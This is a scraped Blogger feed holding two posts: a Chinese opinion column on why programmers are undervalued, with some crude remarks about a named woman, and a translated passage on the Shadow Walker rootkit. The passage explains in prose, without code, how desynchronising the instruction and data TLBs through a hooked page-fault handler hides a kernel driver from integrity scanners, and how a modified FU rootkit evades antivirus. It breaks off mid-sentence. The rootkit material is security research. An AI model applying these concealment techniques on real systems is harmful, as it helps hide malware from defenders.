好了,程式設計師價值低落的原因討論過了,如果您同意筆者的論點,那麼不禁疑惑,大家彼此毫不保留地讓知識得以流通,技術得以擴散,本意是好的,結果反倒造成自己和別人身價的低落,這樣我們是不是從此不再和別人分享我們的心得? TAHO 先生看過本篇上半部之後,發表了底下內容: ------------------------------------------------ 發信人: TAHO.bbs@bbs.nhctc.edu.tw (癡人)  &amp;gt; 哈 恭喜 TAHO 兄上 JAVA週報了... &amp;gt; 通常至少會有熱心人士願意留下一個 URL，讓我們可以找到參考文件，更具熱誠的，如新竹師院 BBS 站 Java 版的 TAHO 先生，還擅用很多生動的比喻讓初學者體會技術的真義。  @@&quot;..... 光看這一段 好像是褒獎 不過看了整篇文章... 突然發現...... 原來我是讓程式設計師不值錢的兇手之一.... 真是罪該萬死啊.... ------------------------------------------------ 但是 mue 先生接下來的發言,說卻命中本文真正的核心價值觀: ------------------------------------------------ 發信人: mue.bbs@bbs.im.tku.edu.tw (閒人)  不會啦..要是每個程式師都死守自己所會的..讓所謂的專業門檻更高的話.. 就很難進步了..就是讓本來難的變簡單..自然就會有更難更深入的東西出現.. 這樣社會才進步得快丫.. ------------------------------------------------ 做應用軟體的人真的沒價值嗎? 有些靠應用軟體賺了不少錢的朋友開始偷笑了. 軟體必須加上專業知識,才能夠發揮價值. 換句話說,如果您真的只會&quot;寫程式&quot;,卻沒有配合各種領域的專業知識,&quot;寫程式&quot;這項技能本身根本毫無價值可言. 就很像你的電腦裝了瀏覽器,可是卻沒有對外連線的網路一樣,如果沒有網路本身,瀏覽器一點價值也沒有,更不需要一家公司大費周章地利用平台優勢去整倒另外一家公司. 我們可以把程式設計師比喻成架子上滿滿的資訊相關書籍,而雇你的老闆就是前來買書的讀者. 你不能否認這麼一堆書裡頭,有好書,也有爛書,你也不能否認你心中的爛書是一本書,但是你卻不能說書裡面教你如何寫 Java 程式的內容是錯的. 可是,購書的讀者壓根兒根本覺得某幾本書一點價值也沒有. 我們只能說,太多只會&quot;寫程式&quot;的程式設計師打爛了市場,就像一牛車的爛書一樣, 你不能說爛書沒有價值,可是爛書會讓你對架上其他書籍的價值大打折扣. 除非,你之前看到別人口耳相傳這本書是好書. 大家或許不相信&quot;只會寫程式&quot;的程式設計師存在於這個世界上,所以筆者舉個簡單的例子說明之: 很久以前, BBS上有人發表了post,內容大概是說某公司在整理舊的程式碼時,發現了一則奇文,奇文內容如下: ----------------------------------------------- //底下是一個判斷某個整數是不是奇數的程式碼 public static boolean isOdd(int n) { while(true) { if(n==1) return true; else if(n==0) return false;  n=n-2; } } ----------------------------------------------- 您說撰寫這個程式碼的人不會寫程式,他又好像會寫,你說他會寫程式,你又不服氣,覺得這個傢伙根本在胡搞一通. 看過這則奇文軼事之後,當您下次聽到某公司抱怨他們的程式設計師做出來的軟體一堆 bug,速度出奇的慢,產品永遠賣不出去,害公司快經營不下去了,所以他們認為程式設計師一點價值都沒有,只是一堆勞碌命的雜碎時,您會不會更加懷疑,是一堆莫名其妙的程式設計師,把你的行情給搞爛了?  待續.... 昇陽電腦教育訓練中心 王森 ---------------------------------------------- ═══════════════════════ 王森專欄＞ 不賣雞排也可以 - 程式設計師真情懺悔錄(下)  續上期  所以從今天開始,如果你對程式設計有一股熱愛,那麼我們一起努力, 做個真正的程式設計師,而不要做一個雜碎且破壞別人的程式設計師. 做一個真正寫得出有用軟體的工程師,不要做一個只會寫程式的程式設計師. 當然,如&quot;意外的電腦王國 / 聯經出版社&quot;一書所言,很多技術都是用在原本沒有預料到的地方而大行其道. 許多科學研究無法有立即的貢獻,但是影響深遠,我們也期許有意從事基礎研究的科班研究生,認真的作研究,不要老是研究一些別人已經研究過的研究,不要老是冀望騙國科會等研究機構的經費,到了最後計劃結案時,才匆匆 忙忙交出另外一篇騙更多錢的計劃書,或是拿不出檯面的研究.  最後,我們反省自己是不是也是一個只會&quot;寫程式&quot;的程式設計師呢? 請自行測驗底下幾個問題,這些問題都不可能有客觀的答案,所以每個問題都附上筆者主觀的答案,作為筆者自己的反省.  Q1: 你尊重專門技術嗎? 換句話說,你認為術業有專攻嗎? 當你接受外面的教育訓練課程時,你總是崇拜看起來什麼都懂的老師? 換句話說,你認為那些遇到課外問題就跟你說他不懂的講師是爛老師?  -你老覺得真正的高手應該精通各門各派的技術,如果你會 XML,他不會,你就覺得你比他厲害.你覺得他的履歷上寫的技能太少,證照太少,所以你認為你比他優秀?  有人老是覺得自己蠻會用 MFC 開發軟體,所以直覺認為那些只喜歡,或是只會用 VB 的人程度應該不高. 問題是,有人會用 VB,當他覺得元件不好用,會自己寫程式處理 HTTP,因為他懂 HTTP 協定的運作方式. 工具裡附的瀏覽器太爛,就自己用功能語法不是很頂尖的 Basic 來寫 parser. 相反的,有人號稱會用 MFC,但是除了靠 Help 找出名為 Cxxxxx 的類別來用,再自己補上事件處理的部分之外,其他什麼事都做不出來.  有人認為寫 Java 程式應該善用工具,用 UltraEdit 根本是重新造輪子的行為,所以一開始就學 JBuilder 的使用者,其實他用 JBuilder 寫了老半天 GUI 程式,哪天回頭叫他用文字編輯器寫個簡單的 Frame + Button 他卻寫不出來,因為他從沒弄懂過 Java 的事件處理模型. 他只會不斷地: 選擇元件-&amp;gt; 放在容器裡頭-&amp;gt; 調整位置和大小-&amp;gt; 調整屬性-&amp;gt; 按兩下-&amp;gt; 填寫事件處理函式,成為一個名副其實的&quot;程式女工&quot;.  有人覺得他精通各家廠商的資料庫,所以看不起那些只會下 SQL 指令或是只會寫 store procedure 的人,因為他可是精通 ODBC, JDBC, ADO, ADO.NET 各種程式的寫法. 問題是,一個精通 SQL 的專家和只會寫 SQL 指令的人,在資料庫表格交互參考,資料量很大的時候,要從中取出我們需要的資料,所下的指令在效率上是幾秒鐘和幾個小時的差別. SQL 也是個專門學問,要能夠巧妙的操作它,必須下非常多功夫做研究,而且一研究可能就是十幾年. 如果貴公司的專案老是苦於資料庫存取的效能不夠,你猜老闆會花錢找一個有能力徹底改善所有 SQL 命令之中效能問題的稀有專家,還是再找一個號稱他什麼都會,結果一點用場也派不上的&quot;資料庫女工&quot;? 我們常常看到某人列出他的履歷,好像會很多就是很厲害. 但是當我們完全深入一項技術時(喔,我是說你真正下過功夫的時候), 通常我們會越來越感覺到自己的渺小.  蔡學鏞先生就是一個非常尊重專業技術的例子. 我們看到他在 http://www.csdn.net/expert/cxy/ 上寫的,他說他只精通 lots of Java APIs. 我和學鏞聊過三次,有一次,我聽他說:&quot;幹麻叫我搞 Linux,我又不懂 Linux!&quot; 如果是你聽到這句話,你會不會真的以為他玩起 Linux 來肯定比你遜色? 筆者突然想起神雕俠侶裡頭的獨孤求敗,晚年只會拿樹枝和別人比武,可是你拿再厲害的刀劍就是無法打敗他. 所以,請尊重專業技術,不要以為人家沒說他會,你就比他厲害.真正厲害的人很多都不在檯面上, 而是躲在後面偷偷笑我們呢!而我們一輩子也不知道我們被別人偷偷取笑了.中國文化數千年都是文人相輕的歷史,夠了,大家尊重專業吧!  Q2: 你覺得演算法和資料結構無三小路用,因為你從沒使用過?  -我們承認&quot;無招勝有招&quot;是內功心法的最高境界,但是在信手拈來之際,後面所代表的是對各家武功路數的徹底了解. 由於台灣幾乎只有應用軟體的開發需求,沒有系統軟體的需求,所以大多數的程式設計師都是站在&quot;程式女工&quot;的角度看世界,只要有元件,有什麼搞不定的. 但是今天如果你想設計一個 XML parser,不懂資料結構和演算法可以嗎? 好吧! 你說我們不該重新造輪子,我們應該站在巨人的肩膀上看世界,如果什麼都自己硬幹,世界是會退步的. 那麼試問,當你在使用 Java 提供的 Collection Framework 時,你了解 ArrayList, LinkedList, TreeSet, HashSet 之間的差別嗎? 你知道他們的優缺點嗎?你知道他的特性嗎? 不了解 ArrayList 和 LinkedList 的差異,用哪種去寫程式執行結果都一樣,可是效率差很多. 大多數的人連了解特性都談不上,更別說很多每天想發展自己的語言,自己的編譯器, 自己的作業系統的人,沒有基礎學問的了解,如何去設計一個 Collection Framework 或 STL? 你說資料結構和演算法沒有用,你去做看看現在 IDE 中普遍有的 code insight 功能看看? 以 C++ Builder 來說,要在短時間內搜尋所有的標頭檔並找出某函數的 prototype,如果沒有對資料結構和演算法有充分了解,一樣做得出來,只是產品會賣不出去罷了. 我在課堂上常常舉一個 scalability 的例子給學生看: 我希望寫一個 1+2+3 ... + 100 的程式,大多數的人都是寫  int sum = 0 ; for(int i = 1 ; i &amp;lt; 101 ; i++) sum = sum + i ;  而真正受到數學觀念薰陶的人會寫成  int sum = 100(100+1) / 2  前者是 O(n),後者是 O(1),當項數很多時,運算時間是不是差很多? 這些都是我們的教育所產生的問題(當然筆者也是受害者之一),但是從今天開始,我們可以認真思考每行程式.  想想發展 MP3 演算法的人和寫 WinAmp 的人,哪個比較厲害? 你會說都很厲害,可是沒有前者就沒有後者,前者搞不好還可以坐收權利金,後者只能苦哈哈的賺些小錢或等人購併.我們停留在崇拜應用程式技巧的階段,而真正值得崇拜的是那些難得一見的創意.  筆者遇過一個朋友,叫他撰寫一個費式數列的小程式,比請他寫一個可以瀏覽資料庫表格內容的程式還難.(請不要與我討論費式數列的小程式沒有實用價值的問題,這裡討論的重點不是這個). 前者需要稍微動點小腦筋,後者只要會拖拖元件,設定 property 就搞定. RAD 快速開發工具本身不是罪,但是沒學好九陽神功就妄想幾小時練成乾坤大挪移,最後只會走火入魔而死,徹底變成一個&quot;程式女工&quot;.  Q3: 你常常以科班或非科班自居?  -你是科班生,瞧不起非科班生? 因為你是正統? 你是非科班生,瞧不起科班生?因為你覺得會的東西比科班生的還多. 爛學校會出現好學生,好學校也會有爛學生.因為比例一樣多,所以我們不能以偏概全.  如果仗著受過幾年正規教育,自己又從未好好深入學習,就自以為是正統,比較學術的說法這叫做&quot;陽具文化&quot;. 有些創新的 idea 是一般制式腦袋的科班學生很難想出來的,因為專家是訓練有素的狗. 如果你是學電信的朋友,你發現交換機是一個葬儀社的老闆因為生意被別人搶走而發明的,那你會不會氣死? 如果自學有成的程式設計師仗著自己會的東西比較多,你說你精通 Java 的各種技術,但是卻沒想過發展 Java 的 James Gosling 博士是一個正統出身的科班生,知道了這件事情,會不會讓你更加尊重專業?  Q4: 你是學計算機科學的,可是邏輯能力並沒有比較好,還常常受騙?  Q4-1:你會被潮流所鼓動嗎? 你常常被別人的思考牽著走? 人家鼓吹 Linux 多好多好,你的腦袋連轉都沒轉過就發憤努力地考 Linux 認證 ?  -別人把公司裡的 server 全換成 Linux,用戶端也都改成 Linux,公司仍然正常地運作,結果你學了 Linux 之後,看到電視上 BSA 同法務部做的廣告嚇得你冷汗直流,深怕明天去住套房.  Q4-2: Sun 跟你說 Java 跨平台,你沒試過也跟人家說跨平台的優點?  -Borland 已經可以做到一份光碟裡同時附上 Solaris、Linux、Windows、MacOS X 的 JBuilder,你卻為了 EJB 無法 deploy 到不同公司的 Application Server 忙得像無頭蒼蠅.  Q4-3:之前一窩峰人鼓吹 XML,結果你盲目追求流行,做出來的東西 tag 比 data 還多?  -會用的人徹底改變了公司裡資料交換的流程,而你整天只會 SAX 來,DOM 去的寫 XML 資料庫(用 XML 來儲存資料的資料庫.)  Q4-4:微軟的廣告告訴你 Windows XP 和 IE 將不支援 Java,你都還沒試過就跟別人嚷嚷 Java 已死?  -套句 BBS 上 moga 先生的名言:&quot;那我現在在 Windows 2000 上跑的 Java 程式是神跡? &quot;現在一票人每天宣傳 web service 的好處,你連想都沒想過就急著想要把公司的舊系統全部改成 web service 來做,結果浪費一堆錢,糟糕的速度讓你每天被客戶臭罵 ?  Q4-5: Web service 當然是美好的前景,但是並非適用於每個角落,目前世界上並不存在完美的 solution. 人家說不能寫程式一輩子,寫程式的人生命週期很短,你也跟著別人開始往 SA/SD 前進 ?  -如果世界上每個工程師都可以經由經驗就成為優秀的 SA/SD 人員,那麼理論上咱們應該有些像樣的軟體產品才對. 有些人寫了幾十年,還是一個優秀的程式設計師,你問問他,如果沒有遇到糟糕的老闆,糟糕的待遇和糟糕的制度,他願不願意寫一輩子程式?  我願意.  Q4-6:顧問告訴你要多用 RAD,不該重新造輪子,所以你努力的問 how 而不問 why ?  -結果真正賺到錢的都是那些像 JReport 做軟體元件的軟體公司. 微軟說 J2EE Blueprint 的 Pet Store,用 .NET 技術做比用 J2EE 做還要快許多,然後你就相信了,最近, IBM 和 Oracle 重新加強 Java 版的 Pet Store,讓它比 .NET 版的還要快 18%~22%,你又改口說 Java 比較好.  Q4-7:一個系統在設計的時候有很多考量,有人以擴充性為主,有的以安全性為主,有人以效能為主. 如果沒有設計理念,大家程式裡頭的 function 全部改成 inline 就好了,管他編譯出來的執行檔有多大. 系統只以效能做考量,我們還需要 Design Pattern 做什麼?  -那些王八蛋數據和我們選舉時的民調一模一樣...對一個腦袋清楚的人完全沒有參考的價值. 當然,以情感因素來看民調的人例外.如果你沒有經過自己的自主判斷就盲目的跟隨潮流,那麼下次當你看到有人排隊買米酒,買蛋塔,搶購衛生紙的時候,請不要投以排隊的人們奇怪的眼光.  Q5:你尊重老前輩嗎?  我們都相信,世界上唯一不用努力就可以獲得的東西就是老.所以吃過的鹽巴比你吃過的米還多的人,沒有任何值得尊重的.我們更相信,資訊業永遠是年輕人出頭,而英雄少年也常在心裡想:&quot;李杜詩篇萬口傳,至今已覺不新鮮,江山代有才人出,各領風騷數百年.&quot;  但是我們認真想想,從 Apple 2 的時代到現在隨便一顆 CPU 都是 1 GHz 的時代,計算機的本質有什麼改變嗎? 不就是一台不斷對記憶體作處理和 I/O 動作的機器. 你笑那些只會用 Fortran 或 COBOL 的老前輩,那你學的 Java 或 C# 比起這些老語言又高明到哪裡去? 寫程式不過是 宣告,迴圈和函式三大要素.時間久了,產生了一堆新名詞,配上一些新的發展理念,但本質上沒有改變. 如果你是推倒前浪的後浪,當你看到李維先生撰寫的 &quot;[長篇]我的回憶和有趣的故事&quot; 或侯捷老師最近兩期在 Run!PC 撰寫的&quot;侯捷觀點&quot;這些老前輩寫的文章,你有把握寫出比它們更高明,更有深度的東西嗎?  最重要的問題, Q6:你騙過老闆嗎?  -你在履歷上寫的十八般武藝樣樣精通,結果是梧鼠技窮(註:比喻技能雖多，而不能專一),一錄取之後什麼東西都做不出來,筆者至少聽過 20 個老闆跟我講過這件事情.  Q6-1:你以為你的身價比較高,只因為你從事&quot;軟體研發&quot;的工作? -然而現實的生活中,&quot;獲利&quot;是真正決定成敗的關鍵.除非你的東西幫老闆賺了錢. 如果沒有,你憑什麼要求更多薪水,憑什麼要求 50 張價值數千萬元的股票? 如果你寫的東西品質很差, bug 超多,客戶抱怨不斷,老闆賺不到很多錢,你還老是在外頭痛罵老闆不尊重技術人員. 如果把行業換成色情行業,那老闆不就等於被乾洗? 這樣看來,程式設計師和詹惠華(黃顯洲 3P 案女主角)幹的事情有什麼兩樣? 如果這樣的人多了,真正要去賣香雞排的,不是寫程式的人,而是僱用了這些雜碎的老闆才對.  ............全文完 昇陽電腦教育訓練中心 王森</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/3687273811881008695/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/02/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/3687273811881008695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/3687273811881008695'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/02/blog-post.html' title='[文章]程式設計師的懺悔錄'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-767632522202087065</id><published>2010-01-13T15:14:00.000-08:00</published><updated>2010-06-30T01:18:43.144-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OS"/><title type='text'>rootkit</title><content type='html'>http://www.securityfocus.com/print/infocus/1851&lt;br/&gt;&lt;br/&gt;--[ 3 - 内存伪装的概念&lt;br/&gt;&lt;br/&gt;一个高级rootkit的目标是隐藏自己对可执行代码的改变&lt;br/&gt;&lt;br/&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;(举例来说， 也就是一个内联补丁的放&lt;br/&gt;置)。很明显，它也希望从(内存)视图上隐藏自己的代码段。代码段和数据段一样，位于内存中，我&lt;br/&gt;们也可以定义基本的内存访问方式:&lt;br/&gt;&lt;br/&gt;- 可执行&lt;br/&gt;- 可读&lt;br/&gt;- 可写&lt;br/&gt;&lt;br/&gt;从技术角度上讲，我们知道每个虚页可以映射到一个物理页帧，它由在页表入口中的特定几位定&lt;br/&gt;义。如果我们能过滤内存访问，以致于执行访问和读/写访问映射到一个不同的物理帧，那将如何呢?&lt;br/&gt;从rootkit角度来说，这是很有利的。考虑这样一种内联挂钩的情况。 修改过的代码正常地运行，但&lt;br/&gt;是任何读取(也就是检测)代码变化的企图都会转向到&#39;原始&#39;的物理帧，其中包含着一份原来的，未经&lt;br/&gt;修改过的代码视图。 类似地，一个rootkit驱动可以通过把到它自己内存空间的读访问导向到包含随&lt;br/&gt;机垃圾数据的页上，或者通过导向到包含另一个来自&#39;无辜&#39;驱动的代码视图页上，来隐藏自己。这意&lt;br/&gt;味着欺骗特征扫描和和完整性监视是可行的。 事实上，Petium体系结构的结构特性为rootkit完成这&lt;br/&gt;样的小诡计提供了方便，并且只会对系统的整体性能具有很小的影响。我在下一节中讨论具体细节。&lt;br/&gt;&lt;br/&gt;----[ 3。1 - 隐藏执行代码&lt;br/&gt;&lt;br/&gt;极具讽刺意味的是，我们将要讨论的大体方法是一个现有的防止堆栈溢出方案的进攻性扩展，该&lt;br/&gt;方案称为PaX，我们将在下面的3。3节中相关工作， 概要地讨论PaX的实现。&lt;br/&gt;&lt;br/&gt;为了隐藏执行代码， 至少有三个根本问题需要指出:&lt;br/&gt;&lt;br/&gt;1。 我们需要一种过滤 执行访问 和 读/写访问的方法。&lt;br/&gt;2。 我们需要一种&quot;伪造&quot;读/写内存访问的方法， 当我们检测他们时。&lt;br/&gt;3。 我们需要确保性能不受负面影响。&lt;br/&gt;&lt;br/&gt;第一个问题涉及到如何过滤读/写访问和执行访问。当虚拟内存启用时， 内存访问限制是通过设&lt;br/&gt;置在页表入口的几位强制进行的， 这几位指定了一个特定的页是只读的还是可读写的。&lt;br/&gt;然而在IA-32体系结构下，所有的页都是可执行的。同样地，没有一种官方的方法可以过滤读/写&lt;br/&gt;访问和执行访问，因而要使这个方案工作，保持执行访问 / 转向读/写的语义操作是极其必要的。然&lt;br/&gt;而我们可以通过标记 PTE 不存在和挂钩页出错处理程序来陷阱和过滤内存访问。 在页错误处理程序&lt;br/&gt;中，我们可以使用保存过的指令指针(IP)和错误处理地址。如果指令指针和错误处理地址相同，那么&lt;br/&gt;这就是一个执行访问。否则，这是一个读/写访问。当操作系统在内存管理中使用存在位， 我们也需&lt;br/&gt;要区分我们内存挂钩过的页出错处理程序和正常的页错误处理程序。最简单的方法是需要所有的挂钩&lt;br/&gt;页要么位于非分页内存或者通过像MnProbeAndLockPages的API显示地锁定。&lt;br/&gt;&lt;br/&gt;下一个问题涉及到当我们检测它们时，如何&quot;伪造&quot;执行访问和读/写访问(并以最小的性能消耗完&lt;br/&gt;成这些)。在这方面，Pentium的TLB体系机构前来援助。Petium分开处理TLB，一个TLB用作指令， 另&lt;br/&gt;一个用作数据。正如之前提到的， 当虚拟内存启用时， TLB缓存虚拟地址到物理页帧的映射。 通常&lt;br/&gt;ITLB和DTLB是同步的，对于一个给定的页保存相同的物理映射。 虽然TLB主要是由硬件控制的，但还&lt;br/&gt;有几种软件控制它的机制。&lt;br/&gt;&lt;br/&gt;- 重新导入CR3， 致使除了全局入口之外的所有的TLB入口被清除。&lt;br/&gt;这样的情况典型地发生在上下文环境切换时。&lt;br/&gt;- invlpg指令造成某个特定的TLB入口被清除。&lt;br/&gt;- 执行数据访问指令致使DTLB被导入访问过的数据页的映射。&lt;br/&gt;- 执行一个调用致使ITLB被导入包含响应这个调用所执行的代码页的映射。&lt;br/&gt;&lt;br/&gt;我们能过滤读/写访问和执行访问并通过破坏TLB的同步访问来伪造它们，这样ITLB和DTLB保存一&lt;br/&gt;个不同的从虚拟地址到物理地址的映射。这个过程演示如下:&lt;br/&gt;&lt;br/&gt;首先，安装一个新的页出错处理程序来处理伪装的页访问。接着标志被挂钩的页不存在，也就是&lt;br/&gt;通过invlpg指令清除TLB入口。 这确保了后来所有对该页的访问都将通过安装上的页出错处理程序过&lt;br/&gt;滤。 在安装上的页出错处理程序中， 我们通过比较保存过的指令指针(IP)和出错处理程序地址，决&lt;br/&gt;定一个特定的内存访问应属于执行访问还是读/写访问。 如果它们相匹配，内存访问属于执行访问。&lt;br/&gt;否则属于读/写访问。 访问的类型决定了哪个映射手动地加载到ITLB或是DTLB。 图5提供这种策略的&lt;br/&gt;概念图。&lt;br/&gt;&lt;br/&gt;最后，需要重点指出的是TLB的访问要比执行页表查询的速度快得多。一般来说， 页出错处理是&lt;br/&gt;要付出很 大代价的。所以乍看之下，标志需要隐藏的分页不存在，很明显将造成性能上的严重打击。&lt;br/&gt;但事实上并不这样。虽然我们标志了需要隐藏的分页不存在，但是对于大多数的内存访问，我们并不&lt;br/&gt;造成页出错处理上的性能损失，因为入口缓存都在TLB中。 当然，在标志伪装的分页不存在后发生的&lt;br/&gt;首次错误处理和随后的当TLB项填满后由高速缓冲线路清除造成的页错误处理， (这两种情况)是个例&lt;br/&gt;外。因此新的页错误处理程序的主要工作是明白地并且选择性地将为了隐藏分页而修改过的映射导入&lt;br/&gt;DTLB或ITLB。 所有源自其他分页的错误处理请求都传递到操作系统的页错误处理程序。&lt;br/&gt;+-------------+&lt;br/&gt;rootkit code |   FRAME 1   |&lt;br/&gt;Is it a +-----------+       /-------------&amp;gt;|         |&lt;br/&gt;code   |       |       |         |-------------|&lt;br/&gt;access? |   ITLB   |       |         |   FRAME 2   |&lt;br/&gt;/------&amp;gt;|-----------|-----------/         |         |&lt;br/&gt;|     | VPN=12   |                 |-------------|&lt;br/&gt;|     | Frame=1 |                 |   FRAME 3   |&lt;br/&gt;|     +-----------+                 |         |&lt;br/&gt;|                   +-------------+   |-------------|&lt;br/&gt;MEMORY                 | PAGE TABLES |   |   FRAME 4   |&lt;br/&gt;ACCESS                 +-------------+   |         |&lt;br/&gt;VPN=12                             |-------------|&lt;br/&gt;|                               |   FRAME 5   |&lt;br/&gt;|     +-----------+                 |         |&lt;br/&gt;|     |       |                 |-------------|&lt;br/&gt;|     |   DTLB   |       random garbage |   FRAME 6   | |------&amp;gt;|-------------------------------------&amp;gt;|         |&lt;br/&gt;Is it a | VPN=12   |                 |-------------|&lt;br/&gt;data | Frame=6 |                 |   FRAME N   |&lt;br/&gt;access? +-----------+                 |         |&lt;br/&gt;+-------------+&lt;br/&gt;[ 图 5 - 通过破坏分离的TLB的同步伪造读/写访问 ]&lt;br/&gt;&lt;br/&gt;----[ 3。2 - 隐藏纯粹数据&lt;br/&gt;&lt;br/&gt;值得注意的是，隐藏数据的修改相对于隐藏代码的修改来说效果并不理想，但如果某人愿意接受&lt;br/&gt;性能上的打击，这是可以办到的。当依靠ITLB可以维护一个与DTLB不同的映射的事实来隐藏执行代码&lt;br/&gt;时，我们只造成了最少的性能损失。伴随着最少的页出错情况，代码可以执行得很快，因为映射总自&lt;br/&gt;在ITLB 中存在( 除了ITLB入口从高速缓存中移除这样极少的情况)。很不幸，在隐藏数据的情况下，&lt;br/&gt;我们不能引入任何这样的不一致。因为只有一个DTLB，所以如果我们要捕获和过滤特定的数据访问，&lt;br/&gt;DTLB不得不清空。最后的结果是每次数据访问造成一次页出错。如果用于隐藏某个特定的驱动的话，&lt;br/&gt;这不是一个大问题，只要驱动经过精心设计，使用最少的全局数据，但是当试图隐藏一个频繁访问数&lt;br/&gt;据分页时，性能上的打击是不可避免的。&lt;br/&gt;&lt;br/&gt;对于数据的隐藏，我们使用一种在隐藏驱动和内存挂钩之间基于协议的(交互)方式。我们使用这&lt;br/&gt;种方法来展示某人如何在一个rootkit驱动中隐藏全局数据。为了允许内存访问通过， DTLB会在页错&lt;br/&gt;误处理程序中导入。然而为了强迫得到正确的对数据访问的过滤，DTLB必须由请求的驱动立即清除，&lt;br/&gt;以确保没有任何其他的代码访问那个内存空间和接受由不正确的映射所产生的数据。&lt;br/&gt;&lt;br/&gt;访问一个隐藏分页上数据的协议描述如下:&lt;br/&gt;&lt;br/&gt;1。 驱动将IRQL(中断请求级)提升到DISPATCH_LEVEL(以确保没有其他的代码开始运行，与&quot;伪造&quot;数据&lt;br/&gt;的方式不同， 不可以使其他的代码看到&quot;隐藏&quot;的数据)&lt;br/&gt;&lt;br/&gt;2。 驱动必须明确地使用invlpg指令清除包含伪装变量的分页的TLB入口。如果其他的进程试图访问我&lt;br/&gt;们的数据分页情况下， 那么这些进程会被导向到伪造的帧(也就是我们不想得到仍然位于TLB中伪造的&lt;br/&gt;映射， 所以我们就必须确保清除它)&lt;br/&gt;&lt;br/&gt;3。 驱动允许执行数据访问。&lt;br/&gt;&lt;br/&gt;4。 驱动必须明确地使用invlpg指令清除包含伪装变量的分页的TLB入口。(也就是真正的映射并不位&lt;br/&gt;于TLB中。 我们不想其他的驱动或进程得到隐藏的映射， 所以我们清除它)。&lt;br/&gt;&lt;br/&gt;5。 驱动降低IRQL到被提升之前的优先级。&lt;br/&gt;&lt;br/&gt;另外的限制条件也加上:&lt;br/&gt;- 没有全局数据传递到内核API函数。当调用一个API时，全局数据必须拷贝到堆栈中的局部变量存储&lt;br/&gt;空间中， 再传递到API函数中。(也就是如果API访问伪装的变量， 它会得到伪造的数据， 错误地执&lt;br/&gt;行)。&lt;br/&gt;&lt;br/&gt;这个协议可以在隐藏的驱动中有效地实现，通过让驱动在例程初始化时把所有的全局变量拷贝到&lt;br/&gt;局部变量， 接着在函数体执行完毕后再将数据拷回。 因为堆栈数据是通量(不断变化的状态)中的一&lt;br/&gt;个定态，从堆栈中的全局数据得到可靠的特征是不太可能的。 使用这种方法， 就没有必要在每次访&lt;br/&gt;问全局变量访问时制造一次页出错。一般来说，在例程初始化时把数据拷过来只需要一次页出错，在&lt;br/&gt;例程结束时将数据拷回去还需要制造一次页出错。不可否认，这种方式忽略了一些涉及到多进程访问&lt;br/&gt;和同步这样更复杂的问题。一种可选的方法——在驱动与页出错处理程序(PF)之间使用这个协议时，&lt;br/&gt;使用单步执行指令引发内存访问。 这对于驱动来说可以少些笨重， 还可以让页出错处理程序维护对&lt;br/&gt;DTLB的控制(也就是在数据访问后清除它， 以致保证它是空的)。&lt;br/&gt;&lt;br/&gt;----{ 3。3 - 相关工作&lt;br/&gt;&lt;br/&gt;讽刺的是， 在这篇文章中讨论的内存伪装技术起源于一个现有的称为PaX的防止堆栈溢出方案。&lt;br/&gt;同样地， 我们展示了一个初衷为防御技术却用作潜在攻击的应用。(也就是利用了Pentium分隔使用&lt;br/&gt;TLB的体系结构)， 在PaX和使用该技术的rootkit应用之间具有微妙的差别。 然而我们进行内存伪装&lt;br/&gt;的rootkit允许执行，使读/写的语义操作转向，PaX允许读/写访问，不支持执行操作。 这使得PaX可&lt;br/&gt;以为在IA-32体系结构下没有可执行堆栈提供软件上的支持， 因此可以阻碍一大类的基于堆栈的缓冲&lt;br/&gt;区溢出攻击。当由Pax保护的系统在一个只能读/写的内存区域中检测出一个执行企图，它就中止这个&lt;br/&gt;恶意的进程。硬件对没有可执行内存的支持将会在随后的几款处理器的页表入口格式中加入，包括IA&lt;br/&gt;-64和Pentium 4。与PaX相比较，我们的rootkit处理程序允许执行访问继续正常地进行，而当对隐藏&lt;br/&gt;的分页进行读/写访问时， 使其转向到一个看起来清白的影子分页。最后， 应该指出的是PaX使用了&lt;br/&gt;PTE的用户(user)/特权(supervisor)位来产生需要强制保护的页出错理。这仅仅限制在用户模式的页&lt;br/&gt;保护，对于一个内存模式rootkit来说，这种限制是不切实际的。同样地，我们在实现中使用了PTE的&lt;br/&gt;存在(present)/不存在(not present)位。&lt;br/&gt;&lt;br/&gt;----{ 3。4 - 证明理念的实现&lt;br/&gt;&lt;br/&gt;我们当前的实现使用一个修改过的Fu rootkit， 新的页错误处理程序称为Shadow Walker。由于&lt;br/&gt;Fu为了隐藏进程改变了内核的数据结构， 并没有利用任何的代码段挂钩， 所以我们只得考虑在内存&lt;br/&gt;中隐藏Fu的驱动。 对于在内部链表中的每个进程来说， 内核通过保存一个称为EPROCESS块的对象，&lt;br/&gt;来说明在当前系统中所正在运行的每个进程的状况。Fu从这些链表中删去了想要隐藏的进程。&lt;br/&gt;&lt;br/&gt;------[ 3。4。a - 修改过的FU Rootkit&lt;br/&gt;&lt;br/&gt;我们修改了从rootkit。com拿来的当前版本的FU rootkit。 为了使它更具隐蔽性， 我们删除了&lt;br/&gt;依靠于用户态启动的程序。现在，所有的启动信息都以操作系统相关偏移的形式存在，直接使用内核&lt;br/&gt;态函数取得。通过移除用户态部分，我们就没有必要创建到驱动的符号连接和功能设备，这两点都会&lt;br/&gt;被轻易地检测出来。一旦FU被安装，在文件系统的映像将会被删除，因此所有反病毒软件在文件系统&lt;br/&gt;的扫描都无法发现它。你可以想像FU可以通过内核溢出的方式安装并导入内存，从而避免任何在磁盘&lt;br/&gt;映像的检测。FU也隐藏所有名字中有前缀_fu_的进程，不管进程ID(PID)。 我们创建一个系统线程不&lt;br/&gt;断地扫描这个进程链来查找这个前缀。FU和内存钩子， Shadow Walker，协同工作; 所以，FU依赖于&lt;br/&gt;Shadow 